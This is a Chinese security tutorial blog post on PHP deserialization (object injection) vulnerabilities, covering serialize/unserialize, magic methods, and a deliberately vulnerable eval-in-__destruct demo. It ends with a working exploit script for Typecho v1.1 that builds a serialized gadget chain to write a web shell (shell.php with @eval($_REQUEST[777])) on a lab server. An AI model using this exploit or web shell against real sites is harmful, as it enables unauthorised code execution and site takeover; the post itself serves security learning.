【CyberSecurityLearning 69】反序列化漏洞
目錄
反序列化
為什么要序列化
PHP 中序列化與反序列化
*簡(jiǎn)單的例子
*序列化Demo
*漏洞何在?
@ 創(chuàng)建一個(gè)類,一個(gè)對(duì)象并將其序列化和反序列化
@ 反序列化注入
*為什么會(huì)這樣呢
實(shí)戰(zhàn):Typecho--v1.1--前臺(tái)反序列化Getshell
反序列化
為什么要序列化
class?? 類
obj ? ?? 對(duì)象
百度百科關(guān)于序列化的定義是,將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问?#xff08;字符串)的過程。在序列化期間,對(duì)象將其當(dāng)前狀態(tài)寫入到臨時(shí)或持久性存儲(chǔ)區(qū)(把存儲(chǔ)放在數(shù)據(jù)庫(kù)中,首選數(shù)據(jù)庫(kù)是Redis,或者是類型Redis這種鍵值對(duì)型數(shù)據(jù)庫(kù),可以理解為Redis數(shù)據(jù)庫(kù)就是一個(gè)大數(shù)組通過鍵值對(duì)的方式去訪問,關(guān)系型數(shù)據(jù)庫(kù)就是一張大的Excel表格)。以后,可以通過從存儲(chǔ)區(qū)中讀取或反序列化對(duì)象的狀態(tài),重新創(chuàng)建該對(duì)象。
簡(jiǎn)單地說,序列化就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?#xff08;便于傳輸),反序列化就是將字符串轉(zhuǎn)換成對(duì)象的過程(如果這個(gè)字符串客戶端可控,就可以讓web應(yīng)用反序列化任意對(duì)象,嚴(yán)重的是我們?cè)诜葱蛄谢^程中會(huì)觸發(fā)一些可執(zhí)行的PHP代碼,比如說phpinfo),可以以特定的格式在進(jìn)程之間跨平臺(tái)、安全的進(jìn)行通信。
<?php class Stu{public $name;public $sex;public $agel;public $score; } $stu1= new Stu();//創(chuàng)建了一個(gè)對(duì)象 new $stu1->name="ZQX"; $stu1->sex=true; $stu1->age=16; $stu1->score=60;$stu2= new Stu(); $stu2->name="HMM"; $stu2->sex=false; $stu2->age=16; $stu2->score=90;echo $stu1->name."'s score = ".$stu1->score; //ZQX's score = 60 先找到對(duì)象名,再找到他的屬性 echo $stu2->name."'s score = ".$stu2->score; echo "<hr />"; var_dump($stu1); //把stu1這個(gè)對(duì)象,一個(gè)抽象的數(shù)據(jù)結(jié)構(gòu)轉(zhuǎn)化成字符串并存儲(chǔ)在硬盤的文件當(dāng)中,這個(gè)過程叫序列化 //序列化好處:我們可以把一個(gè)用戶的狀態(tài)相當(dāng)做一個(gè)暫停,等用戶激活的時(shí)候再?gòu)挠脖P把字符串取出來,再反序列化成一個(gè)對(duì)象,然后再存儲(chǔ)在內(nèi)存中讓他工作。 ?>PHP 中序列化與反序列化
PHP 反序列化漏洞也叫PHP 對(duì)象注入,是一個(gè)常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會(huì)造成非常威脅的后果。漏洞的形成的根本原因是程序員沒有對(duì)用戶輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 等語(yǔ)言之中但其原理基本相通。
PHP中的序列化與反序列化,基本都是圍繞serialize()和 unserialize() 兩個(gè)函數(shù)展開的。
?
*簡(jiǎn)單的例子
我們可以用json(json這種格式就是格式化的一個(gè)字符串,也就是說Json格式的數(shù)據(jù)具備自己一定的格式) 格式數(shù)據(jù)的編碼與解碼,來理解序列化與反序列化過程。雖然json 數(shù)據(jù)與反序列化漏洞沒有什么關(guān)系,但是這個(gè)例子有助于我們理解。
測(cè)試代碼:
<?php $stu=array('name'=>'Waffle','age'=>20,'SEX'=>true,'score'=>96.6); echo $stu; //echo是不能輸出數(shù)組的 echo "<hr />"; $stu_json=json_encode($stu);//但是如果我們把 數(shù)字$stu做一個(gè)json的格式轉(zhuǎn)換json_encode //array一個(gè)抽象的數(shù)組,經(jīng)過json的格式編碼之后他就會(huì)變成一個(gè)字符串,變成字符串之后就可以用echo來輸出 echo $stu_json; ?>我們定義一個(gè)數(shù)組,數(shù)組屬于抽象的數(shù)據(jù)結(jié)構(gòu),為了方便跨平臺(tái)傳輸,可以將其進(jìn)行json 編碼。json 格式的數(shù)據(jù)是以鍵值對(duì)的形式出現(xiàn)的。
Array{"name":"Waffle","age":20,"SEX":true,"score":96.6}
<?php class Stu{public $name;public $sex;public $agel;public $score; } $stu1= new Stu();//創(chuàng)建了一個(gè)對(duì)象 new $stu1->name="ZQX"; $stu1->sex=true; $stu1->age=16; $stu1->score=60;$stu2= new Stu(); $stu2->name="HMM"; $stu2->sex=false; $stu2->age=16; $stu2->score=90;echo $stu1->name."'s score = ".$stu1->score; //ZQX's score = 60 先找到對(duì)象名,再找到他的屬性 echo $stu2->name."'s score = ".$stu2->score; echo "<hr />"; //var_dump($stu1); //把stu1這個(gè)對(duì)象,一個(gè)抽象的數(shù)據(jù)結(jié)構(gòu)轉(zhuǎn)化成字符串并存儲(chǔ)在硬盤的文件當(dāng)中,這個(gè)過程叫序列化 //序列化好處:我們可以把一個(gè)用戶的狀態(tài)相當(dāng)做一個(gè)暫停,等用戶激活的時(shí)候再?gòu)挠脖P把字符串取出來,再反序列化成一個(gè)對(duì)象,然后再存儲(chǔ)在內(nèi)存中讓他工作。 //echo $stu1;//(x)不能以字符串方式去輸出,接下來我們需要將stu1做一個(gè)轉(zhuǎn)換 echo serialize($stu1);//serialize這個(gè)函數(shù)會(huì)把我們的對(duì)象作一個(gè)序列化,把它序列化成一個(gè)字符串 //O:3:"Stu":5:{s:4:"name";s:3:"ZQX";s:3:"sex";b:1;s:4:"agel";N;s:5:"score";i:60;s:3:"age";i:16;} //O代表object,3是類名的長(zhǎng)度,5說明我們類中有四個(gè)屬性,每句話以分號(hào)結(jié)束,s表示string類型,b表示bool類型 ?>*序列化Demo
序列化會(huì)將一個(gè)抽象的轉(zhuǎn)換為字符串。
我們可以寫一個(gè)Demo 來說明序列化的過程,首先創(chuàng)建一個(gè)類,代碼如下
<?php class Stu{ public $name; public $sex; public $age; public $score; } ?>類名是Stu ,有四個(gè)變量。
下面我們創(chuàng)建一個(gè)對(duì)象,并給對(duì)象中變量賦值。代碼如下
<?php include "classStu.php"; $stu1 = new Stu(); $stu1->name = "Waffle"; $stu1->sex = true; $stu1->age = 18; $stu1->score = 89.9; echo serialize($stu1); ?>我們最后使用serialize() 函數(shù),將$stu1 這個(gè)對(duì)象序列化成一個(gè)字符串。這樣的字符串,就很容易傳輸和存儲(chǔ)。如下
??? O:3:"Stu":4:?? //O 代表Object 對(duì)象;3對(duì)象名有三個(gè)字符;對(duì)象中有4個(gè)變量
??? {s:4:"name";s:3:"GGG";
??? s:3:"sex";b:1;
??? s:3:"age";i:18;
??? s:5:"score";d:89.900000000000006;}
?
同樣,我們也可以使用unserialize()函數(shù),將字符串反序列化為一個(gè)對(duì)象。由于字符串中含有雙引號(hào),我們可以使用定界符,代碼如下
<?phpinclude "classStu.php";$stu1 =<<<HTML O:3:"Stu":4:{s:4:"name";s:3:"GGG";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;} HTML;$stu1=unserialize($stu1);var_dump($stu1);?>運(yùn)行這個(gè)腳本,我們可以看到反序列化后的對(duì)象
??? object(Stu)#1 (4) { ["name"]=> string(3) "GGG" ["sex"]=> bool(true) ["age"]=> int(18) ["score"]=> float(89.9) }
*漏洞何在?
@ 創(chuàng)建一個(gè)類,一個(gè)對(duì)象并將其序列化和反序列化
<?phpclass Test{public $str='Waffle';function __destruct(){//echo "This is function __contruct()";@eval($this->str);} }$test = new Test(); echo serialize($test);//serialize是序列化的意思 //O:4:"Test":1:{s:3:"str";s:6:"Waffle";}這里面只有屬性沒有方法 echo "<hr />"; //$t=serialize($test); //var_dump(unserialize($t)); //object(Test)#2 (1) { ["str"]=> string(6) "Waffle" } var_dump(unserialize($_GET['obj'])); //反序列化一下 ?>@ 反序列化注入
構(gòu)造序列化字符
…/class/loudong.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}
會(huì)發(fā)現(xiàn)phpinfo() 函數(shù)被執(zhí)行了
由以上代碼可以發(fā)現(xiàn),PHP的反序列化漏洞需要與其他漏洞配合,比如代碼執(zhí)行SQLi等
?
*為什么會(huì)這樣呢
我們注入的字符串[phpinfo()],為什么會(huì)作為PHP 語(yǔ)句運(yùn)行呢?觀察代碼,發(fā)現(xiàn)在類中有一個(gè)函數(shù) __destruct() 并且這個(gè)函數(shù)調(diào)用的eval 語(yǔ)句,執(zhí)行$this->str 變量。為什么__destruct() 沒有被調(diào)用,函數(shù)內(nèi)的語(yǔ)句就被執(zhí)行了呢?
可以用如下代碼測(cè)試 __destruct() 函數(shù)
我們會(huì)發(fā)現(xiàn),在銷毀實(shí)例化類(就是對(duì)象)的時(shí)候,__destruct() 函數(shù)會(huì)被調(diào)用,并輸出字符串
?
以 __ 開頭的方法,是PHP 中的魔術(shù)方法,類中的魔術(shù)方法,在特定的情況下會(huì)被自動(dòng)調(diào)用。主要魔術(shù)方法如下
| __construct() | 在創(chuàng)建對(duì)象時(shí)自動(dòng)調(diào)用 |
| __destruct() | ?在銷毀對(duì)象時(shí)自動(dòng)調(diào)用 |
| __call() | ?在對(duì)象中調(diào)用一個(gè)不可訪問方法時(shí),__call() 會(huì)被調(diào)用 |
| __callStatic() | ?在靜態(tài)上下文中調(diào)用一個(gè)不可訪問方法時(shí)調(diào)用 |
| __get() | 讀取不可訪問屬性的值時(shí),__get() 會(huì)被調(diào)用 |
| __set() | 在給不可訪問屬性賦值時(shí),__set() 會(huì)被調(diào)用 |
| __isset() | 當(dāng)對(duì)不可訪問屬性調(diào)用 isset() 或 empty() 時(shí),__isset() 會(huì)被調(diào)用 |
| __unset() | 當(dāng)對(duì)不可訪問屬性調(diào)用 unset() 時(shí),__unset() 會(huì)被調(diào)用 |
| __sleep() | serialize() 函數(shù)會(huì)檢查類中是否存在一個(gè)魔術(shù)方法__sleep() ,如果存在,該方法會(huì)先被調(diào)用,然后再執(zhí)行序列化操作 |
| __wakeup() | unserialize() 會(huì)檢查是否存在一個(gè) __wakeup() 方法,如果存在會(huì)先調(diào)用__wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源 |
| __toString() | __toString() 方法用于一個(gè)類被當(dāng)成字符串時(shí)應(yīng)增氧回應(yīng) |
| __invoke() | 當(dāng)嘗試以調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí),__invoke() 方法會(huì)被自動(dòng)調(diào)用 |
| __set_state() | 字PHP 5.1.0 起調(diào)用 var_export() 導(dǎo)出類時(shí),此靜態(tài) 方法會(huì)被調(diào)用 |
| __clone() | 當(dāng)復(fù)制完成時(shí),如果定義了 __clone 方法,則新創(chuàng)建的對(duì)象(復(fù)制生成的對(duì)象)中的 __clone() 方法會(huì)被調(diào)用,可用于修改屬性的值。 |
| __debugInfo() | This method is called by var_dump() anobject to get the properties that should be shown .If the method isn't on an object ,then all public ,protec‘’ted and private propertieswill be shown. |
實(shí)戰(zhàn):Typecho--v1.1--前臺(tái)反序列化Getshell
typecho v1.1:http://www.kxdw.com/soft/16207.html
一個(gè)輕量級(jí)的博客
打開win2008(192.168.3.138),將源碼粘貼到web根目錄
安裝:
會(huì)發(fā)現(xiàn)如下報(bào)錯(cuò):(因?yàn)槲覀円謩?dòng)創(chuàng)建一個(gè)數(shù)據(jù)庫(kù))
來到phpmyadmin
安裝成功!
這個(gè)博客存在一個(gè)反序列化漏洞
typecho_v11_unseriallize_exp.php如下:
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){//$this->_params['screenName'] = 'phpinfo()';$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<php @eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); ?>訪問:得到一串base64加密的字符串:
這串字符串就是我們生成的POC
設(shè)置Referer=http://192.168.3.138/typechov11/
__typecho_config
以上就是利用反序列化getshell
參考鏈接:
http://www.freebuf.com/articles/web/167721.html
https://baike.baidu.com/item/%E5%BA%8F%E5%88%97%E5%8C%96/2890184?fr=aladdin
https://www.cnblogs.com/magic-zero/p/7737274.html
https://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650942666&idx=1&sn=5c84d6d69463a0a430e01dfa68c2d3ab&chksm=80796ef8b70ee7ee8ba5d88feb8d794bee19a55b6e17dff45fcee6ba6ee726fb4e2e029d50bd&scene=0#rd
?
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 69】反序列化漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:夏梓峻(1986-),男,国家超级
- 下一篇: 作者:魏凯(1981-),男,中国信息通